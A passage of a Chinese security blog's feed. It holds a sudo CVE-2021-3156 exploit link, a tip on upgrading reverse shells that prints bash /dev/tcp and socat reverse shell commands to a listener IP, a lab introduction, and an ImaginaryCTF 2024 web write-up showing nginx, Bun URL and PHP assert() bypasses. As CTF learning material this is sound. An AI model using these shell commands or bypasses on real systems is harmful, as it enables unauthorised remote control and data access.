href="https://gtfobins.github.io/">https://gtfobins.github.io/</a></p><h1 id="CVE提权"><a href="#CVE提权" class="headerlink" title="CVE提权"></a>CVE提权</h1><h2 id="SUDO-CVE"><a href="#SUDO-CVE" class="headerlink" title="SUDO CVE"></a><code>SUDO</code> CVE</h2><h3 id="CVE-2021-3156"><a href="#CVE-2021-3156" class="headerlink" title="CVE-2021-3156"></a>CVE-2021-3156</h3><p><strong>影响范围</strong></p><p>1.8.2<del>1.8.31p2下的所有旧版本sudo，以及1.9.0</del>1.9.5p1的所有稳定版sudo</p><p><strong>exp</strong></p><p><a href="https://github.com/Rvn0xsy/CVE-2021-3156-plus#">https://github.com/Rvn0xsy/CVE-2021-3156-plus#</a></p><p><strong>例子</strong></p><p><a href="https://www.nssctf.cn/problem/5126">[NSSRound#18 Basic]Becomeroot</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;SUID提权&quot;&gt;&lt;a href=&quot;#SUID提权&quot; class=&quot;headerlink&quot; title=&quot;SUID提权&quot;&gt;&lt;/a&gt;SUID提权&lt;/h1&gt;&lt;h2 id=&quot;简介&quot;&gt;&lt;a href=&quot;#简介&quot; class=&quot;headerlink&quot; title=&quot;简介&quot;&gt;&lt;</summary>
      
    
    
    
    <category term="penetration" scheme="https://wells.host/categories/penetration/"/>
    
    
  </entry>
  
  <entry>
    <title>简单shell升级交互式</title>
    <link href="https://wells.host/posts/a75a4ee7/"/>
    <id>https://wells.host/posts/a75a4ee7/</id>
    <published>2025-03-27T11:06:59.000Z</published>
    <updated>2025-08-05T09:16:33.168Z</updated>
    
    <content type="html"><![CDATA[<p>由于脚本语言默认执行系统命令时，是没有获取 tty 的</p><p>当<code>Webshell</code>反弹到服务器上时经常都是非交互式的，具体表现为控制符变成了转义序列。在某些时候就很难下一步操作了，比如需要使用<code>vim</code>时显示一堆的控制符，在<code>Ctrl+C</code>时却退出了Shell</p><h1 id="升级Shell为交换式的小Tip："><a href="#升级Shell为交换式的小Tip：" class="headerlink" title="升级Shell为交换式的小Tip："></a>升级Shell为交换式的小Tip：</h1><h2 id="python-pty-方式"><a href="#python-pty-方式" class="headerlink" title="python pty 方式"></a>python pty 方式</h2><blockquote><p>前提条件是目标主机上需要有python</p></blockquote><ol><li>查看监听服务器终端和<code>STTY</code>信息</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">root@localhost:~# echo $TERM  </span><br><span class="line">xterm</span><br><span class="line"></span><br><span class="line">root@localhost:~# stty -a </span><br><span class="line">speed 38400 baud; rows 47; columns 160; line = 0;</span><br><span class="line">intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = &lt;undef&gt;; eol2 = &lt;undef&gt;; swtch = &lt;undef&gt;; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W;</span><br><span class="line">lnext = ^V; discard = ^O; min = 1; time = 0;</span><br><span class="line">-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts</span><br><span class="line">-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel -iutf8</span><br><span class="line">opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0</span><br><span class="line">isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这里我们的终端信息为<code>xterm</code>，stty的行数(rows)为47，列数(columns)为160</p><ol start="2"><li>在监听服务器开启监听</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">root@localhost:~# nc -lvp 8077</span><br><span class="line">Listening on 0.0.0.0 8077</span><br></pre></td></tr></table></figure><ol start="3"><li>在目标机器执行反弹shell命令</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash -i &gt;&amp; /dev/tcp/192.168.1.1/8077 0&gt;&amp;1</span><br></pre></td></tr></table></figure><p>这里我们反弹的shell为bash，此时监听服务器收到了反弹的shell</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">root@ctf:~# nc -lvp 8077</span><br><span class="line">Listening on 0.0.0.0 8077</span><br><span class="line">Connection received on 1.14.71.254 36490</span><br><span class="line">bash: cannot set terminal process group (432): Inappropriate ioctl for device</span><br><span class="line">bash: no job control in this shell</span><br><span class="line">www-data@09010c0e86d04512:/var/www/html$ </span><br></pre></td></tr></table></figure><ol start="4"><li>启用python交互式</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">www-data@09010c0e86d04512:/var/www/html$ python3 -c &#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;</span><br><span class="line">&lt;ml$ python3 -c &#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;</span><br></pre></td></tr></table></figure><ol start="5"><li><p>按下<code>Ctrl+Z</code>，后台挂起 </p></li><li><p>刷新终端</p></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">root@ctf:~$ stty raw -echo </span><br><span class="line"></span><br><span class="line">root@ctf:~$ fg  #这个指令输入的时候不会回显</span><br><span class="line"></span><br><span class="line">www-data@09010c0e86d04512:/var/www/html$ reset </span><br></pre></td></tr></table></figure><p>可能这时候就会有如下的提示询问终端类型，此时就可以直接输入终端信息然后回车</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">reset: unknown terminal type unknown</span><br><span class="line">Terminal type? </span><br></pre></td></tr></table></figure><p>若无提示需要设置</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">www-data@6aae652213e24b63:/var/www/html$ export TERM=xterm</span><br></pre></td></tr></table></figure><ol start="7"><li>根据自己的终端信息设置如下参数</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ export SHELL=bash</span><br><span class="line">$ stty rows 47 columns 160</span><br></pre></td></tr></table></figure><h2 id="socat-反弹Shell"><a href="#socat-反弹Shell" class="headerlink" title="socat 反弹Shell"></a>socat 反弹Shell</h2><blockquote><p>socat的可执行文件可以从<a href="https://github.com/3ndG4me/socat/releases%E4%B8%8B%E8%BD%BD">https://github.com/3ndG4me/socat/releases下载</a></p></blockquote><ol><li>在监听服务器开启监听</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ socat file:`tty`,raw,echo=0 tcp-listen:8088</span><br></pre></td></tr></table></figure><p>这里的<code>9999</code>为监听的端口</p><ol start="2"><li>把socat可执行文件上传到目标机器上，然后执行：</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">user@414e07ee65d84196:~$ ./socat exec:&#x27;bash -li&#x27;,pty,stderr,setsid,sigint,sane tcp:111.111.111.111:8088</span><br></pre></td></tr></table></figure><p>其中<code>111.111.111.111:9999</code>为监听服务器的IP和端口</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;由于脚本语言默认执行系统命令时，是没有获取 tty 的&lt;/p&gt;
&lt;p&gt;当&lt;code&gt;Webshell&lt;/code&gt;反弹到服务器上时经常都是非交互式的，具体表现为控制符变成了转义序列。在某些时候就很难下一步操作了，比如需要使用&lt;code&gt;vim&lt;/code&gt;时显示一堆的控制符</summary>
      
    
    
    
    <category term="tips" scheme="https://wells.host/categories/tips/"/>
    
    
  </entry>
  
  <entry>
    <title>春秋云镜-MagicRelay</title>
    <link href="https://wells.host/posts/8dd8445/"/>
    <id>https://wells.host/posts/8dd8445/</id>
    <published>2025-03-27T06:32:08.000Z</published>
    <updated>2025-08-05T09:16:33.164Z</updated>
    
    <content type="html"><![CDATA[<p>MagicRelay</p><blockquote><p><em>靶标介绍：</em></p><p>Legacy Network 是一家在信息技术领域拥有 20 年历史的老牌企业，专注于为中小型公司提供IT解决方案和支持服务。由于长期依赖于过时的基础设施和内部网络，Legacy Network 在现代化的安全防护体系方面存在许多不足，特别是在权限控制、过时的软件、未及时更新补丁等方面存在显著问题。你的目标是通过渗透进入该网络，获取每台机器的权限，该靶场共有 4个Flag，分布于不同的靶机。</p></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;MagicRelay&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;靶标介绍：&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Legacy Network 是一家在信息技术领域拥有 20 年历史的老牌企业，专注于为中小型公司提供IT解决方案和支持服务。由于长期依赖于过时的基础设施和内部网络，L</summary>
      
    
    
    
    <category term="WriteUp" scheme="https://wells.host/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>2024ImaginaryCtf-WEB复盘</title>
    <link href="https://wells.host/posts/25584ce3/"/>
    <id>https://wells.host/posts/25584ce3/</id>
    <published>2024-07-26T11:18:42.000Z</published>
    <updated>2025-08-05T09:16:33.135Z</updated>
    
    <content type="html"><![CDATA[<p>靶场链接：<a href="https://2024.imaginaryctf.org/">https://2024.imaginaryctf.org/</a></p><p>官方WP指路：<a href="https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/tree/main/Web">https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/tree/main/Web</a></p><h1 id="readme"><a href="#readme" class="headerlink" title="readme"></a>readme</h1><blockquote><p> (100 pts) - 978 solves by maple3142</p><p><strong>Description</strong></p><p>Try to read the <code>flag.txt</code> file.</p><p>附件：<a href="readme.tar.gz">点击下载附件</a></p></blockquote><p>先看dockerfile(<del>虽然flag在这边露出来了</del>)，这是个node后端+nginx的配置</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> node:<span class="number">20</span>-bookworm-slim</span><br><span class="line"></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update \</span></span><br><span class="line"><span class="language-bash">    &amp;&amp; apt-get install -y nginx tini \</span></span><br><span class="line"><span class="language-bash">    &amp;&amp; apt-get clean \</span></span><br><span class="line"><span class="language-bash">    &amp;&amp; <span class="built_in">rm</span> -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /app</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> package.json yarn.lock ./</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> yarn install --frozen-lockfile</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> src ./src</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> public ./public</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> default.conf /etc/nginx/sites-available/default</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> start.sh /start.sh</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ENV</span> FLAG=<span class="string">&quot;ictf&#123;path_normalization_to_the_rescue&#125;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">ENTRYPOINT</span><span class="language-bash"> [<span class="string">&quot;/usr/bin/tini&quot;</span>, <span class="string">&quot;--&quot;</span>]</span></span><br><span class="line"><span class="keyword">CMD</span><span class="language-bash"> [<span class="string">&quot;/start.sh&quot;</span>]</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>可以知道flag放置在<code>/app/public</code>文件夹下，然后几个比较关键的文件</p><p><code>default.conf</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">    listen       80 default_server;</span><br><span class="line">    listen  [::]:80;</span><br><span class="line">    root /app/public;</span><br><span class="line"></span><br><span class="line">    location / &#123;</span><br><span class="line">    #检测url是否在/app/public文件夹下存在这个文件，如果存在返回404</span><br><span class="line">        if (-f $request_filename) &#123;</span><br><span class="line">            return 404;</span><br><span class="line">        &#125;</span><br><span class="line">        proxy_pass http://localhost:8000;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>/src/app.js</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">const express = require(&#x27;express&#x27;)</span><br><span class="line">const path = require(&#x27;path&#x27;)</span><br><span class="line"></span><br><span class="line">const app = express()</span><br><span class="line">app.use(express.static(path.join(__dirname, &#x27;../public&#x27;)))</span><br><span class="line">app.listen(8000)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>所以这道题目很明显的目的就是要绕过nginx的文件检测<code>if (-f $request_filename)</code>，但要在node的这个web程序中能被读取</p><p>一通乱尝试</p><p><img src="/posts/25584ce3/e7612c577daeb5ab6286268d090b6127.png" alt="e7612c577daeb5ab6286268d090b6127"></p><p><strong>原理分析</strong></p><h1 id="readme2"><a href="#readme2" class="headerlink" title="readme2"></a>readme2</h1><blockquote><p>(249 pts) - 56 solves by maple3142</p><p><strong>Description</strong></p><p>Try to read the <code>flag.txt</code> file, again!</p><p>附件：<a href="readme2.tar.gz">点击下载附件</a></p></blockquote><p>ok这题不是自己想出来的，以后一定好好看官方文档，原文指路：<a href="https://siunam321.github.io/ctf/ImaginaryCTF-2024/Web/readme2/">readme2 | siunam’s Website</a></p><p>附件里的内容很简单，从dockerfile可以知道是使用bun.js起的后端服务</p><p>什么是bun？<a href="https://bun.sh/">Bun — A fast all-in-one JavaScript runtime</a></p><p><code>app.js</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">const flag = process.env.FLAG || &#x27;ictf&#123;this_is_a_fake_flag&#125;&#x27;</span><br><span class="line"></span><br><span class="line">Bun.serve(&#123;</span><br><span class="line">async fetch(req) &#123;</span><br><span class="line">const url = new URL(req.url)</span><br><span class="line">if (url.pathname === &#x27;/&#x27;) return new Response(&#x27;Hello, World!&#x27;)</span><br><span class="line">if (url.pathname.startsWith(&#x27;/flag.txt&#x27;)) return new Response(flag)</span><br><span class="line">return new Response(`404 Not Found: $&#123;url.pathname&#125;`, &#123; status: 404 &#125;)</span><br><span class="line">&#125;,</span><br><span class="line">port: 3000</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">Bun.serve(&#123;</span><br><span class="line">async fetch(req) &#123;</span><br><span class="line">if (req.url.includes(&#x27;flag&#x27;)) return new Response(&#x27;Nope&#x27;, &#123; status: 403 &#125;)</span><br><span class="line">const headerContainsFlag = [...req.headers.entries()].some(([k, v]) =&gt; k.includes(&#x27;flag&#x27;) || v.includes(&#x27;flag&#x27;))</span><br><span class="line">if (headerContainsFlag) return new Response(&#x27;Nope&#x27;, &#123; status: 403 &#125;)</span><br><span class="line">const url = new URL(req.url)</span><br><span class="line">if (url.href.includes(&#x27;flag&#x27;)) return new Response(&#x27;Nope&#x27;, &#123; status: 403 &#125;)</span><br><span class="line">return fetch(new URL(url.pathname + url.search, &#x27;http://localhost:3000/&#x27;), &#123;</span><br><span class="line">method: req.method,</span><br><span class="line">headers: req.headers,</span><br><span class="line">body: req.body</span><br><span class="line">&#125;)</span><br><span class="line">&#125;,</span><br><span class="line">port: 4000 // only this port are exposed to the public</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>读<code>app.js</code>可以知道后端起了两个服务，对外开放的是<code>4000</code>端口，很明显想要拿到flag，最终需要通过<code>4000</code>端口，访问到<code>3000</code>端口，且url开头以<code>flag.txt</code>。</p><h2 id="思路一：-利用host"><a href="#思路一：-利用host" class="headerlink" title="思路一： 利用host"></a>思路一： 利用host</h2><p>最开始尝试想能不能利用请求头<code>host</code>，并通过<code>/..</code>最终绕过检测，发现</p><p><img src="/posts/25584ce3/image-20240727233107973.png" alt="image-20240727233107973"></p><p><img src="/posts/25584ce3/image-20240727233223182.png" alt="image-20240727233223182"></p><h3 id="特性1：-自动处理-穿梭至上一级url处"><a href="#特性1：-自动处理-穿梭至上一级url处" class="headerlink" title="特性1： 自动处理/..穿梭至上一级url处"></a>特性1： 自动处理<code>/..</code>穿梭至上一级url处</h3><p>传入</p><p><img src="/posts/25584ce3/image-20240728013859135.png" alt="image-20240728013859135"></p><p>会发现双<code>/test</code>消失，原因为第1次传入后，url由于有<code>..</code>所以，所以第一次的url的pathname部分只剩下<code>/</code>，如下图</p><p><img src="/posts/25584ce3/image-20240728014228713.png" alt="image-20240728014228713"></p><h3 id="特性2：-url属性是请求包host-get参数的结果"><a href="#特性2：-url属性是请求包host-get参数的结果" class="headerlink" title="特性2： url属性是请求包host+get参数的结果"></a>特性2： url属性是请求包host+get参数的结果</h3><p>最终传入3000端口的url的pathname变成了<code>/test/test</code></p><p><img src="/posts/25584ce3/image-20240727233107973.png" alt="image-20240727233107973"></p><blockquote><p>原因：通过代码最后一段可以发现</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="keyword">new</span> <span class="title function_">URL</span>(url.<span class="property">pathname</span> + url.<span class="property">search</span>, <span class="string">&#x27;http://localhost:3000/&#x27;</span>), &#123;</span><br><span class="line">    <span class="attr">method</span>: req.<span class="property">method</span>,</span><br><span class="line">    <span class="attr">headers</span>: req.<span class="property">headers</span>,</span><br><span class="line">    <span class="attr">body</span>: req.<span class="property">body</span></span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>host被原样传入，由于</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> url = <span class="keyword">new</span> <span class="title function_">URL</span>(req.<span class="property">url</span>)</span><br><span class="line"><span class="keyword">new</span> <span class="title function_">URL</span>(url.<span class="property">pathname</span> + url.<span class="property">search</span>, <span class="string">&#x27;http://localhost:3000/&#x27;</span>)</span><br></pre></td></tr></table></figure><p>但此时url的pathname处以及有了一个<code>/test</code>所以最后pathname出现双<code>/test</code></p></blockquote><h3 id="特性3：通过拼接的url会自动省略-t（tab键）"><a href="#特性3：通过拼接的url会自动省略-t（tab键）" class="headerlink" title="特性3：通过拼接的url会自动省略 \t（tab键）"></a>特性3：通过拼接的url会自动省略 <code>\t</code>（tab键）</h3><p>发送的请求包如下</p><p><img src="/posts/25584ce3/image-20240728015332102.png" alt="image-20240728015332102"></p><p>在传入后获得的url为</p><p><img src="/posts/25584ce3/image-20240728015500581.png" alt="image-20240728015500581"></p><p><strong>发现<code>\t</code>被自动忽略了</strong></p><p>由于在对于<code>/..</code>的处理是在程序运行前，所以可以进行搭配</p><p><img src="/posts/25584ce3/image-20240728020017631.png" alt="image-20240728020017631"></p><blockquote><p>分析一波</p><p>第一次传入后，url为<code>localhost:8100/flag.txt/..</code>(<code>\t</code>被自动省略)，此时还会自动处理<code>/..</code>,所以第一次的url为<code>localhost:8100/</code>，host中的<code>\t</code>不会被自动忽略，所以第一次检测的所有部分都不含有<code>flag</code>，且通过<code>req.url</code>出的url也不含<code>flag</code></p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (req.<span class="property">url</span>.<span class="title function_">includes</span>(<span class="string">&#x27;flag&#x27;</span>)) <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(<span class="string">&#x27;Nope&#x27;</span>, &#123; <span class="attr">status</span>: <span class="number">403</span> &#125;)</span><br><span class="line"><span class="keyword">const</span> headerContainsFlag = [...req.<span class="property">headers</span>.<span class="title function_">entries</span>()].<span class="title function_">some</span>(<span class="function">(<span class="params">[k, v]</span>) =&gt;</span> k.<span class="title function_">includes</span>(<span class="string">&#x27;flag&#x27;</span>) || v.<span class="title function_">includes</span>(<span class="string">&#x27;flag&#x27;</span>))</span><br><span class="line"><span class="keyword">if</span> (headerContainsFlag) <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(<span class="string">&#x27;Nope&#x27;</span>, &#123; <span class="attr">status</span>: <span class="number">403</span> &#125;)</span><br><span class="line"><span class="keyword">const</span> url = <span class="keyword">new</span> <span class="title function_">URL</span>(req.<span class="property">url</span>)</span><br><span class="line"><span class="keyword">if</span> (url.<span class="property">href</span>.<span class="title function_">includes</span>(<span class="string">&#x27;flag&#x27;</span>)) <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(<span class="string">&#x27;Nope&#x27;</span>, &#123; <span class="attr">status</span>: <span class="number">403</span> &#125;)</span><br></pre></td></tr></table></figure><p>但由于</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">return fetch(new URL(url.pathname + url.search, &#x27;http://localhost:3000/&#x27;), &#123;</span><br><span class="line">    method: req.method,</span><br><span class="line">    headers: req.headers,</span><br><span class="line">    body: req.body</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>此时host会原封不动的传给<code>3000端口</code>，此时url变为<code>http://localhost:3000/flag.txt/</code>,满足获得flag的条件</p></blockquote><p>即可获得flag</p><h2 id="思路二：-利用URL-api"><a href="#思路二：-利用URL-api" class="headerlink" title="思路二： 利用URL api"></a>思路二： 利用URL api</h2><p>这里实际可以利用的地方就是调用的<code>URL api</code>(文档指路：<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/URL">URL - Web API | MDN (mozilla.org)</a>),破坏原本的url，将<code>http://localhost:3000/</code>修改为自定义的网址,发现<code>fetch()</code>是会跟随重定向的，再利用302重定向至<code>http://localhost:3000/flag.txt</code></p><p>起一个简单的重定向服务</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: http://localhost:3000/flag.txt&quot;</span>)</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="用法一："><a href="#用法一：" class="headerlink" title="用法一："></a><strong>用法一：</strong></h3><p>这里有个比较特殊的用法就是</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title function_">URL</span>(<span class="string">&quot;//foo.com&quot;</span>, <span class="string">&quot;https://example.com&quot;</span>);</span><br><span class="line"><span class="comment">// =&gt; &#x27;https://foo.com/&#x27;（见相对 URL）</span></span><br></pre></td></tr></table></figure><p>即我们最终在</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">return fetch(new URL(url.pathname + url.search, &#x27;http://localhost:3000/&#x27;), &#123;</span><br><span class="line">    method: req.method,</span><br><span class="line">    headers: req.headers,</span><br><span class="line">    body: req.body</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p><code>url.pathname</code> 要以<code>//</code>开头，尝试直接以<code>//</code>传入，发现是可行的<img src="/posts/25584ce3/c270631a0ef222268d0c80099c4b72af.png" alt="c270631a0ef222268d0c80099c4b72af"></p><p><img src="/posts/25584ce3/image-20240727162952833.png" alt="image-20240727162952833"></p><h3 id="用法二："><a href="#用法二：" class="headerlink" title="用法二："></a><strong>用法二：</strong></h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title function_">URL</span>(<span class="string">&quot;http://www.example.com&quot;</span>, <span class="string">&quot;https://developer.mozilla.org&quot;</span>);</span><br><span class="line"><span class="comment">// =&gt; &#x27;http://www.example.com/&#x27;</span></span><br></pre></td></tr></table></figure><p>使用这种方法，需要绕过http的固定格式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /urlpart HTTP/1.1</span><br></pre></td></tr></table></figure><p>不能出现<code>/</code>，而且服务端不能报错，在discord上找到了这种方法</p><blockquote><p>具体原理的话，需要看bun框架对url参数的处理方式</p></blockquote><p><img src="/posts/25584ce3/image-20240728022113792.png" alt="image-20240728022113792"></p><p>即最后的请求包为</p><p><img src="/posts/25584ce3/image-20240728022457014.png" alt="image-20240728022457014"></p><p>可以看到url的pathname部分并没有<code>/</code>开头</p><p><img src="/posts/25584ce3/image-20240728022540214.png" alt="image-20240728022540214"></p><h1 id="journal-dist"><a href="#journal-dist" class="headerlink" title="journal-dist"></a>journal-dist</h1><blockquote><p>(100 pts) - 518 solves by Eth007</p><p><strong>Description</strong></p><p>dear diary, there is no LFI in this app</p><p>附件：<a href="journal-dist.zip">点击下载附件</a></p></blockquote><p>源码比较短</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>])) &#123;</span><br><span class="line">  <span class="variable">$file</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>];</span><br><span class="line">  <span class="variable">$filepath</span> = <span class="string">&#x27;./files/&#x27;</span> . <span class="variable">$file</span>;</span><br><span class="line"></span><br><span class="line">  <span class="title function_ invoke__">assert</span>(<span class="string">&quot;strpos(&#x27;<span class="subst">$file</span>&#x27;, &#x27;..&#x27;) === false&quot;</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">&quot;Invalid file!&quot;</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (<span class="title function_ invoke__">file_exists</span>(<span class="variable">$filepath</span>)) &#123;</span><br><span class="line">    <span class="keyword">include</span>(<span class="variable">$filepath</span>);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&#x27;File not found!&#x27;</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>能导致漏洞的就是<code>assert(&quot;strpos(&#39;$file&#39;, &#39;..&#39;) === false&quot;)</code>，由于采用字符串凭借，所以assert()函数(官方文档指路：<a href="https://www.php.net/manual/zh/function.assert.php">PHP: assert - Manual</a>)中执行的代码基本上是可控的</p><p><img src="/posts/25584ce3/image-20240728134010620.png" alt="image-20240728134010620"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">root@2419de65327b:/var/www/html# php -v</span><br><span 